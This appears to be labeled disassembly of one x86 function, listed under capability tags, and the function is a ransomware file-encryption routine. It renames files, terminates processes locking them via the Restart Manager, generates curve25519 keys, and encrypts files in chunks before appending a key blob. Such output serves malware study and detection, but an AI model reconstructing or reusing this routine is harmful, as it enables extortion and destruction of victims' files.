Function at 0x405e30
Capabilities:
Contain obfuscated stackstrings
Create restart manager session
Encrypt data using curve25519
Enumerate processes that use resource
Generate random numbers via winapi
Get file size
Move file
Read file on windows
Set file attributes
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2c48
call fcn.0040b8a0
mov eax, dword [0x40c208]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
xorps xmm0, xmm0
push ebx
push esi
push edi
push 0x80
push eax
mov dword [ebp - 0x2c18], eax
mov edi, 1
mov byte [ebp - 0x24], 9
movups xmmword [ebp - 0x23], xmm0
mov dword [ebp - 0xb], 0
movq qword [ebp - 0x13], xmm0
mov word [ebp - 7], 0
mov byte [ebp - 5], 0
mov dword [ebp - 0x1ae0], 0x70617920
mov dword [ebp - 0x1adc], 0x70617920
mov dword [ebp - 0x1ad8], 0x70617920
mov dword [ebp - 0x1ad4], 0x70617920
mov dword [ebp - 0x1ad0], 0x70617920
mov dword [ebp - 0x1acc], 0x70617920
mov dword [ebp - 0x1ac8], 0x70617920
mov dword [ebp - 0x1ac4], 0x70617920
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push dword [ebp - 0x2c18]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
call ebx
lea eax, [eax*2 + 0xe]
push eax
call fcn.0040b5c0
mov esi, eax
add esp, 4
mov dword [ebp - 0x2c24], esi
test esi, esi
je 0x406835
push dword [ebp - 0x2c18]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x401d50
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 9
push esi
push dword [ebp - 0x2c18]
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
je 0x4067bc
push 0
push 0x8000000
push 3
push 0
push 0
push 0xc0000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push dword [ebp - 0x2c24]
mov esi, eax
call fcn.0040b5f0
add esp, 4
cmp esi, 0xffffffff
jne 0x40617f
nop word [eax + eax]
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test edi, edi
je 0x406556
push 0x42
lea eax, [ebp - 0x68]
push 0
push eax
call fcn.0040b540
add esp, 0xc
lea eax, [ebp - 0x68]
push eax
push 0
lea eax, [ebp - 0x2c2c]
push eax
call sub.RstrtMgr.DLL_RmStartSession
xor ecx, ecx
test eax, eax
sete cl
mov dword [ebp - 0x2c1c], ecx
test eax, eax
jne 0x4064e3
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x2c18]
push eax
push 1
push dword [ebp - 0x2c2c]
call sub.RstrtMgr.DLL_RmRegisterResources
xor ecx, ecx
test eax, eax
sete cl
mov dword [ebp - 0x2c1c], ecx
test eax, eax
jne 0x406468
lea eax, [ebp - 0x2c3c]
mov dword [ebp - 0x2c20], 0xa
push eax
lea eax, [ebp - 0x1a80]
push eax
lea eax, [ebp - 0x2c20]
push eax
lea eax, [ebp - 0x2c30]
push eax
push dword [ebp - 0x2c2c]
call sub.RstrtMgr.DLL_RmGetList
xor ecx, ecx
test eax, eax
sete cl
mov dword [ebp - 0x2c1c], ecx
test eax, eax
jne 0x4063ed
xor ebx, ebx
mov dword [ebp - 0x2c1c], ebx
cmp dword [ebp - 0x2c20], ebx
jbe 0x406138
lea esi, [ebp - 0x1a74]
nop dword [eax]
nop word [eax + eax]
mov eax, dword [esi + 0x280]
cmp eax, 4
je 0x40611f
cmp eax, 0x3e8
je 0x40611f
mov edi, dword [esi - 0xc]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp eax, edi
je 0x40611f
push edi
push 0
push 0x100001
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, 0xffffffff
je 0x4060ae
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x1388
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40611f
cmp dword [0x40c28c], 0
je 0x40611f
push 0
push 0
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
push esi
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
push edi
call fcn.0040b5c0
add esp, 4
mov ebx, eax
push 0
push 0
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
push esi
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ebx
push 0x401dd8
call fcn.00403150
push ebx
call fcn.0040b5f0
mov ebx, dword [ebp - 0x2c1c]
add esp, 0x10
inc ebx
add esi, 0x29c
mov dword [ebp - 0x2c1c], ebx
cmp ebx, dword [ebp - 0x2c20]
jb 0x406050
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
push dword [ebp - 0x2c2c]
call sub.RstrtMgr.DLL_RmEndSession
xor edi, edi
push edi
push 0x8000000
push 3
push edi
push edi
push 0xc0000000
push dword [ebp - 0x2c24]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push dword [ebp - 0x2c24]
mov esi, eax
call fcn.0040b5f0
add esp, 4
cmp esi, 0xffffffff
je 0x405f70
lea eax, [ebp - 0x2c48]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
push 0x100000
call fcn.0040b5c0
mov edi, eax
add esp, 4
test edi, edi
je 0x4067a4
lea eax, [ebp - 0x1aa0]
push eax
push 0x20
push dword [0x40c290]
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov al, byte [ebp - 0x1a81]
and byte [ebp - 0x1aa0], 0xf8
and al, 0x3f
or al, 0x40
mov byte [ebp - 0x1a81], al
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x1aa0]
push eax
lea eax, [ebp - 0x1b08]
push eax
call fcn.00403280
push 0x401d30
lea eax, [ebp - 0x1aa0]
push eax
lea eax, [ebp - 0x1ac0]
push eax
call fcn.00403280
lea eax, [ebp - 0x1b48]
push eax
lea eax, [ebp - 0x1ac0]
push 0x20
push eax
call fcn.00409b30
push 0x100
push 0x100
lea eax, [ebp - 0x1b48]
push eax
lea eax, [ebp - 0x2c14]
push eax
call fcn.00408ef0
lea eax, [ebp - 0x1b28]
push eax
lea eax, [ebp - 0x2c14]
push eax
call fcn.00408f60
lea eax, [ebp - 0x1b48]
push 0x40
push eax
call fcn.00409540
add esp, 0x44
mov dword [ebp - 0x1ae8], eax
lea eax, [ebp - 0x1b90]
push 0x40
push 0
push eax
call fcn.0040b540
push 0x40
lea eax, [ebp - 0x1b48]
push 0
push eax
call fcn.0040b540
push 0x40
lea eax, [ebp - 0x1ac0]
push 0
push eax
call fcn.0040b540
add esp, 0x24
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c34], xmm0
mov ebx, dword [ebp - 0x2c30]
mov eax, dword [ebp - 0x2c34]
push 0
push 0
push ebx
push eax
push esi
mov dword [ebp - 0x2c20], eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov ecx, dword [ebp - 0x2c44]
mov eax, dword [ebp - 0x2c48]
test ecx, ecx
jl 0x40674a
jg 0x4062d9
cmp eax, 0x1400000
jbe 0x4065ca
push 0
push 0xa00000
push ecx
push eax
call fcn.0040b7f0
mov ecx, edx
mov dword [ebp - 0x2c3c], eax
mov dword [ebp - 0x2c2c], ecx
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c34], xmm0
test ecx, ecx
jl 0x40674a
jg 0x406312
test eax, eax
je 0x40674a
mov eax, dword [ebp - 0x2c30]
mov dword [ebp - 0x2c24], eax
mov eax, dword [ebp - 0x2c34]
mov dword [ebp - 0x2c1c], eax
nop word [eax + eax]
push 0
lea eax, [ebp - 0x2c28]
push eax
push 0x100000
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4063ac
push dword [ebp - 0x2c28]
lea eax, [ebp - 0x2c14]
push edi
push edi
push eax
push 0
call fcn.00409330
add esp, 0x14
push 0
push 0
push ebx
push dword [ebp - 0x2c20]
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [ebp - 0x2c38]
push eax
push 0x100000
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x2c20]
add eax, 0xa00000
push 0
push 0
adc ebx, 0
mov dword [ebp - 0x2c20], eax
push ebx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov eax, dword [ebp - 0x2c1c]
mov ecx, dword [ebp - 0x2c24]
add eax, 1
mov dword [ebp - 0x2c1c], eax
adc ecx, 0
mov dword [ebp - 0x2c24], ecx
cmp ecx, dword [ebp - 0x2c2c]
jl 0x406330
jg 0x40674a
cmp eax, dword [ebp - 0x2c3c]
jb 0x406330
jmp 0x40674a
cmp dword [0x40c28c], 0
je 0x40613e
push dword [ebp - 0x2c18]
call ebx
push 0
push 0
push 0
push 0
push eax
push dword [ebp - 0x2c18]
push 0
push 0xfde9
call esi
mov esi, eax
push esi
call fcn.0040b5c0
add esp, 4
mov edi, eax
push dword [ebp - 0x2c18]
call ebx
push 0
push 0
push esi
push edi
push eax
push dword [ebp - 0x2c18]
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push dword [ebp - 0x2c1c]
push edi
push 0x401dec
call fcn.00403150
push edi
call fcn.0040b5f0
add esp, 0x10
jmp 0x40613e
cmp dword [0x40c28c], 0
je 0x40613e
push dword [ebp - 0x2c18]
call ebx
push 0
push 0
push 0
push 0
push eax
push dword [ebp - 0x2c18]
push 0
push 0xfde9
call esi
mov esi, eax
push esi
call fcn.0040b5c0
add esp, 4
mov edi, eax
push dword [ebp - 0x2c18]
call ebx
push 0
push 0
push esi
push edi
push eax
push dword [ebp - 0x2c18]
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push dword [ebp - 0x2c1c]
push edi
push 0x401dfc
call fcn.00403150
push edi
call fcn.0040b5f0
add esp, 0x10
jmp 0x40613e
cmp dword [0x40c28c], 0
je 0x406835
push dword [ebp - 0x2c18]
call ebx
push 0
push 0
push 0
push 0
push eax
push dword [ebp - 0x2c18]
push 0
push 0xfde9
call esi
mov esi, eax
push esi
call fcn.0040b5c0
add esp, 4
mov edi, eax
push dword [ebp - 0x2c18]
call ebx
push 0
push 0
push esi
push edi
push eax
push dword [ebp - 0x2c18]
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push dword [ebp - 0x2c1c]
push edi
push 0x401e18
call fcn.00403150
push edi
jmp 0x40682d
cmp dword [0x40c28c], 0
je 0x406835
push dword [ebp - 0x2c18]
call ebx
push 0
push 0
push 0
push 0
push eax
push dword [ebp - 0x2c18]
push 0
push 0xfde9
call esi
mov esi, eax
push esi
call fcn.0040b5c0
add esp, 4
mov edi, eax
push dword [ebp - 0x2c18]
call ebx
push 0
push 0
push esi
push edi
push eax
push dword [ebp - 0x2c18]
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push edi
push 0x401e30
call fcn.00403150
push edi
jmp 0x40682d
test ecx, ecx
jl 0x40674a
jg 0x4065df
cmp eax, 0x500000
jbe 0x4066d2
push 0
push 3
push ecx
push eax
call fcn.0040b7f0
xorps xmm0, xmm0
mov dword [ebp - 0x2c3c], eax
movlpd qword [ebp - 0x2c34], xmm0
mov ecx, dword [ebp - 0x2c30]
mov dword [ebp - 0x2c24], ecx
mov ecx, dword [ebp - 0x2c34]
mov dword [ebp - 0x2c2c], edx
mov dword [ebp - 0x2c1c], ecx
nop dword [eax]
push 0
lea eax, [ebp - 0x2c28]
push eax
push 0x100000
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4066a5
push dword [ebp - 0x2c28]
lea eax, [ebp - 0x2c14]
push edi
push edi
push eax
push 0
call fcn.00409330
add esp, 0x14
push 0
push 0
push ebx
push dword [ebp - 0x2c20]
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [ebp - 0x2c38]
push eax
push dword [ebp - 0x2c28]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4066a5
mov eax, dword [ebp - 0x2c20]
add eax, dword [ebp - 0x2c3c]
push 0
adc ebx, dword [ebp - 0x2c2c]
push 0
push ebx
push eax
push esi
mov dword [ebp - 0x2c20], eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov eax, dword [ebp - 0x2c1c]
add eax, 1
mov dword [ebp - 0x2c1c], eax
adc dword [ebp - 0x2c24], 0
js 0x406620
jg 0x40674a
cmp eax, 3
jb 0x406620
jmp 0x40674a
test ecx, ecx
jl 0x40674a
jg 0x4066e7
test eax, eax
je 0x40674a
test ecx, ecx
jl 0x4066f2
jg 0x4066e7
cmp eax, 0x40
jbe 0x4066f2
push 0
push 0xa
push ecx
push eax
call fcn.0040b7f0
push 0
lea ecx, [ebp - 0x2c28]
push ecx
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40674a
push dword [ebp - 0x2c28]
lea eax, [ebp - 0x2c14]
push edi
push edi
push eax
push 0
call fcn.00409330
add esp, 0x14
push 0
push 0
push ebx
push dword [ebp - 0x2c34]
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [ebp - 0x2c38]
push eax
push dword [ebp - 0x2c28]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x10cc
lea eax, [ebp - 0x2c14]
push 0
push eax
call fcn.0040b540
add esp, 0xc
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c34], xmm0
push 2
push 0
push dword [ebp - 0x2c30]
push dword [ebp - 0x2c34]
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [ebp - 0x2c38]
push eax
push 0x48
lea eax, [ebp - 0x1b08]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call fcn.0040b5f0
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b79a
mov esp, ebp
pop ebp
ret
cmp dword [0x40c28c], 0
je 0x406835
push dword [ebp - 0x2c18]
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0
push 0
push 0
push 0
push eax
push dword [ebp - 0x2c18]
push 0
push 0xfde9
call edi
mov esi, eax
push esi
call fcn.0040b5c0
add esp, 4
mov ebx, eax
push dword [ebp - 0x2c18]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0
push 0
push esi
push ebx
push eax
push dword [ebp - 0x2c18]
push 0
push 0xfde9
call edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ebx
push 0x401e54
call fcn.00403150
push ebx
call fcn.0040b5f0
add esp, 0x10
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b79a
mov esp, ebp
pop ebp
ret